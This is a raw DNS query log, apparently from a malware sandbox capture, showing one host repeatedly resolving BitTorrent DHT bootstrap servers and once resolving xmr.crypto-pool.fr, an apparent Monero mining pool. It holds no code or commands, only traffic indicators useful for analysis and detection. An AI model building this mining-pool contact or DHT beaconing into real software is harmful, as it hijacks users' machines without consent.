Aug 23, 2023 09:16:22.580121994 CEST	192.168.2.3	8.8.8.8	0xb4f5	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.642961979 CEST	192.168.2.3	8.8.8.8	0xce34	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.661339998 CEST	192.168.2.3	8.8.8.8	0xb1e3	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.693039894 CEST	192.168.2.3	8.8.8.8	0x5942	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.243140936 CEST	192.168.2.3	8.8.8.8	0x2343	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.339087963 CEST	192.168.2.3	8.8.8.8	0x780c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.416079044 CEST	192.168.2.3	8.8.8.8	0x7822	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.443545103 CEST	192.168.2.3	8.8.8.8	0x913f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.515594959 CEST	192.168.2.3	8.8.8.8	0xe227	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.537311077 CEST	192.168.2.3	8.8.8.8	0xf54a	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.563177109 CEST	192.168.2.3	8.8.8.8	0xca8f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:25.989051104 CEST	192.168.2.3	8.8.8.8	0xd8e1	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.135349989 CEST	192.168.2.3	8.8.8.8	0x9c09	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.348262072 CEST	192.168.2.3	8.8.8.8	0x2b92	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.369858027 CEST	192.168.2.3	8.8.8.8	0x88d8	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.432252884 CEST	192.168.2.3	8.8.8.8	0x865e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:26.962510109 CEST	192.168.2.3	8.8.8.8	0xe743	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:27.167664051 CEST	192.168.2.3	8.8.8.8	0xf5d1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:27.283574104 CEST	192.168.2.3	8.8.8.8	0x61c0	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.317069054 CEST	192.168.2.3	8.8.8.8	0x709b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.634954929 CEST	192.168.2.3	8.8.8.8	0x8839	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.708537102 CEST	192.168.2.3	8.8.8.8	0x130f	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.743031025 CEST	192.168.2.3	8.8.8.8	0x804a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.809427977 CEST	192.168.2.3	8.8.8.8	0x14f2	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.834192991 CEST	192.168.2.3	8.8.8.8	0x642f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.905220032 CEST	192.168.2.3	8.8.8.8	0x363a	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:28.966582060 CEST	192.168.2.3	8.8.8.8	0x5f55	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:29.035393000 CEST	192.168.2.3	8.8.8.8	0x70a6	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:29.889678001 CEST	192.168.2.3	8.8.8.8	0xb311	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.008716106 CEST	192.168.2.3	8.8.8.8	0x9afa	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.106786013 CEST	192.168.2.3	8.8.8.8	0xf26b	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.180471897 CEST	192.168.2.3	8.8.8.8	0xe532	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.199836969 CEST	192.168.2.3	8.8.8.8	0x568b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.220299959 CEST	192.168.2.3	8.8.8.8	0x31a5	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.298625946 CEST	192.168.2.3	8.8.8.8	0x654c	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.331528902 CEST	192.168.2.3	8.8.8.8	0xe81a	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.402053118 CEST	192.168.2.3	8.8.8.8	0xbf76	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.431893110 CEST	192.168.2.3	8.8.8.8	0xc3d0	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.461679935 CEST	192.168.2.3	8.8.8.8	0x81db	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.538625002 CEST	192.168.2.3	8.8.8.8	0x201	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.557240009 CEST	192.168.2.3	8.8.8.8	0x5351	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.595906019 CEST	192.168.2.3	8.8.8.8	0x284e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.616964102 CEST	192.168.2.3	8.8.8.8	0xd6ae	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:30.652163029 CEST	192.168.2.3	8.8.8.8	0x3a49	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.195985079 CEST	192.168.2.3	8.8.8.8	0xa180	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.226135969 CEST	192.168.2.3	8.8.8.8	0x338c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.250318050 CEST	192.168.2.3	8.8.8.8	0x38c6	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.287559986 CEST	192.168.2.3	8.8.8.8	0x14c2	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.317392111 CEST	192.168.2.3	8.8.8.8	0x8323	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.359855890 CEST	192.168.2.3	8.8.8.8	0xec08	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.385921001 CEST	192.168.2.3	8.8.8.8	0xa11b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.408849955 CEST	192.168.2.3	8.8.8.8	0x8c6b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.656210899 CEST	192.168.2.3	8.8.8.8	0xc283	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.690787077 CEST	192.168.2.3	8.8.8.8	0x9e6d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.727140903 CEST	192.168.2.3	8.8.8.8	0x7c29	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.759282112 CEST	192.168.2.3	8.8.8.8	0x9238	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.788847923 CEST	192.168.2.3	8.8.8.8	0xa0cf	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.833996058 CEST	192.168.2.3	8.8.8.8	0x1e23	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.868417025 CEST	192.168.2.3	8.8.8.8	0x8f8e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:31.899441957 CEST	192.168.2.3	8.8.8.8	0xb301	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.404633045 CEST	192.168.2.3	8.8.8.8	0x83eb	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.424642086 CEST	192.168.2.3	8.8.8.8	0xf9ca	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.456450939 CEST	192.168.2.3	8.8.8.8	0x1ade	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.476651907 CEST	192.168.2.3	8.8.8.8	0x975f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.512700081 CEST	192.168.2.3	8.8.8.8	0xf5db	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.543507099 CEST	192.168.2.3	8.8.8.8	0x6ef3	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.571083069 CEST	192.168.2.3	8.8.8.8	0x65b8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:35.591506004 CEST	192.168.2.3	8.8.8.8	0x9e5d	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.457143068 CEST	192.168.2.3	8.8.8.8	0x3722	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.481398106 CEST	192.168.2.3	8.8.8.8	0x53c3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.509146929 CEST	192.168.2.3	8.8.8.8	0xcd6a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.526871920 CEST	192.168.2.3	8.8.8.8	0xa337	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.545598030 CEST	192.168.2.3	8.8.8.8	0xa41c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.571528912 CEST	192.168.2.3	8.8.8.8	0xcf6e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.603045940 CEST	192.168.2.3	8.8.8.8	0x9e60	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:40.636100054 CEST	192.168.2.3	8.8.8.8	0x2a0	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.350625992 CEST	192.168.2.3	8.8.8.8	0x70ec	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.381237030 CEST	192.168.2.3	8.8.8.8	0x4e91	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.419414043 CEST	192.168.2.3	8.8.8.8	0xb331	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.439490080 CEST	192.168.2.3	8.8.8.8	0x197c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.478738070 CEST	192.168.2.3	8.8.8.8	0xd0d1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.505796909 CEST	192.168.2.3	8.8.8.8	0xece6	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.537158966 CEST	192.168.2.3	8.8.8.8	0x9746	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:41.569197893 CEST	192.168.2.3	8.8.8.8	0xa13e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.446310043 CEST	192.168.2.3	8.8.8.8	0xcd62	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.481965065 CEST	192.168.2.3	8.8.8.8	0xc168	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.513664007 CEST	192.168.2.3	8.8.8.8	0x279a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.532867908 CEST	192.168.2.3	8.8.8.8	0xd0f5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.560610056 CEST	192.168.2.3	8.8.8.8	0x9e86	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.758717060 CEST	192.168.2.3	8.8.8.8	0x94a2	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.793176889 CEST	192.168.2.3	8.8.8.8	0xf1a6	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.813184977 CEST	192.168.2.3	8.8.8.8	0xc1b8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.853054047 CEST	192.168.2.3	8.8.8.8	0xe8a8	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.882976055 CEST	192.168.2.3	8.8.8.8	0xef6b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.904097080 CEST	192.168.2.3	8.8.8.8	0x2432	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.924746037 CEST	192.168.2.3	8.8.8.8	0x7ec5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.957009077 CEST	192.168.2.3	8.8.8.8	0xecaf	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:42.983186007 CEST	192.168.2.3	8.8.8.8	0xb985	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:43.015973091 CEST	192.168.2.3	8.8.8.8	0xceac	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:43.056325912 CEST	192.168.2.3	8.8.8.8	0x3b3c	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:43.737303972 CEST	192.168.2.3	8.8.8.8	0x3d1f	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:46.978610039 CEST	192.168.2.3	8.8.8.8	0x5b3b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.006406069 CEST	192.168.2.3	8.8.8.8	0x9d6a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.027282953 CEST	192.168.2.3	8.8.8.8	0xa349	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.053977966 CEST	192.168.2.3	8.8.8.8	0xa881	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:47.079890013 CEST	192.168.2.3	8.8.8.8	0xd5cc	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:48.085912943 CEST	192.168.2.3	8.8.8.8	0xd5cc	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.086668968 CEST	192.168.2.3	8.8.8.8	0xd5cc	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.126573086 CEST	192.168.2.3	8.8.8.8	0xb885	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.166845083 CEST	192.168.2.3	8.8.8.8	0x8350	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.186240911 CEST	192.168.2.3	8.8.8.8	0xe8a3	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:49.989396095 CEST	192.168.2.3	8.8.8.8	0x729a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.028757095 CEST	192.168.2.3	8.8.8.8	0x1b27	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.067167044 CEST	192.168.2.3	8.8.8.8	0x6306	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.085915089 CEST	192.168.2.3	8.8.8.8	0x90b5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.106478930 CEST	192.168.2.3	8.8.8.8	0xa68b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.297960997 CEST	192.168.2.3	8.8.8.8	0xae9f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.317589045 CEST	192.168.2.3	8.8.8.8	0xff80	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.352888107 CEST	192.168.2.3	8.8.8.8	0x5c18	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.457421064 CEST	192.168.2.3	8.8.8.8	0x624	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.479165077 CEST	192.168.2.3	8.8.8.8	0x548c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.505950928 CEST	192.168.2.3	8.8.8.8	0x3ede	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.526060104 CEST	192.168.2.3	8.8.8.8	0xe76c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.555165052 CEST	192.168.2.3	8.8.8.8	0xdfd	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.601962090 CEST	192.168.2.3	8.8.8.8	0xaa6e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.630851984 CEST	192.168.2.3	8.8.8.8	0xab91	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:50.701122999 CEST	192.168.2.3	8.8.8.8	0x6ee2	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.151109934 CEST	192.168.2.3	8.8.8.8	0x7817	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.175810099 CEST	192.168.2.3	8.8.8.8	0xecf6	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.193927050 CEST	192.168.2.3	8.8.8.8	0xbaeb	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.222834110 CEST	192.168.2.3	8.8.8.8	0xcb90	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.241348982 CEST	192.168.2.3	8.8.8.8	0x48cf	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.286488056 CEST	192.168.2.3	8.8.8.8	0x152d	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.322381973 CEST	192.168.2.3	8.8.8.8	0x77af	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:51.341139078 CEST	192.168.2.3	8.8.8.8	0x8db2	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.028350115 CEST	192.168.2.3	8.8.8.8	0x505a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.047442913 CEST	192.168.2.3	8.8.8.8	0xc601	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.076558113 CEST	192.168.2.3	8.8.8.8	0x4c7d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.098654985 CEST	192.168.2.3	8.8.8.8	0x498b	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.131541014 CEST	192.168.2.3	8.8.8.8	0xf739	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.163570881 CEST	192.168.2.3	8.8.8.8	0x2a56	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.182744026 CEST	192.168.2.3	8.8.8.8	0x2731	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.201199055 CEST	192.168.2.3	8.8.8.8	0x9a20	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.219491005 CEST	192.168.2.3	8.8.8.8	0xe69	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.258217096 CEST	192.168.2.3	8.8.8.8	0x9d9b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.285290003 CEST	192.168.2.3	8.8.8.8	0x94b1	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.304471016 CEST	192.168.2.3	8.8.8.8	0xad55	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.352160931 CEST	192.168.2.3	8.8.8.8	0x1815	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.376138926 CEST	192.168.2.3	8.8.8.8	0xd2f2	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.396727085 CEST	192.168.2.3	8.8.8.8	0x460e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:52.440401077 CEST	192.168.2.3	8.8.8.8	0xda01	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:54.966231108 CEST	192.168.2.3	8.8.8.8	0x2390	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:54.999385118 CEST	192.168.2.3	8.8.8.8	0xdd2e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.034377098 CEST	192.168.2.3	8.8.8.8	0x8c59	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.058456898 CEST	192.168.2.3	8.8.8.8	0x7bb1	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.091470957 CEST	192.168.2.3	8.8.8.8	0xb4b2	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.112395048 CEST	192.168.2.3	8.8.8.8	0x321c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.135623932 CEST	192.168.2.3	8.8.8.8	0x63df	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:55.175815105 CEST	192.168.2.3	8.8.8.8	0x3be4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.611336946 CEST	192.168.2.3	8.8.8.8	0xcf2a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.633311987 CEST	192.168.2.3	8.8.8.8	0x6428	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.652039051 CEST	192.168.2.3	8.8.8.8	0xbda1	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.670885086 CEST	192.168.2.3	8.8.8.8	0x1ea7	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.691215992 CEST	192.168.2.3	8.8.8.8	0xf4ff	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.726104975 CEST	192.168.2.3	8.8.8.8	0xcdbf	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.761461973 CEST	192.168.2.3	8.8.8.8	0x3ce1	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:57.792386055 CEST	192.168.2.3	8.8.8.8	0x6b89	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.541205883 CEST	192.168.2.3	8.8.8.8	0x8af5	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.576841116 CEST	192.168.2.3	8.8.8.8	0x2461	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.595269918 CEST	192.168.2.3	8.8.8.8	0x5038	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.705199957 CEST	192.168.2.3	8.8.8.8	0xf96d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.733469009 CEST	192.168.2.3	8.8.8.8	0x153b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.756728888 CEST	192.168.2.3	8.8.8.8	0xe508	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.784706116 CEST	192.168.2.3	8.8.8.8	0x7f7d	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:58.815534115 CEST	192.168.2.3	8.8.8.8	0xd721	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.682102919 CEST	192.168.2.3	8.8.8.8	0xb113	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.701998949 CEST	192.168.2.3	8.8.8.8	0x6b4	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.729511023 CEST	192.168.2.3	8.8.8.8	0x3fb8	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.803980112 CEST	192.168.2.3	8.8.8.8	0xa041	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.830858946 CEST	192.168.2.3	8.8.8.8	0x6826	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.891751051 CEST	192.168.2.3	8.8.8.8	0xfabe	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.911840916 CEST	192.168.2.3	8.8.8.8	0x5657	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
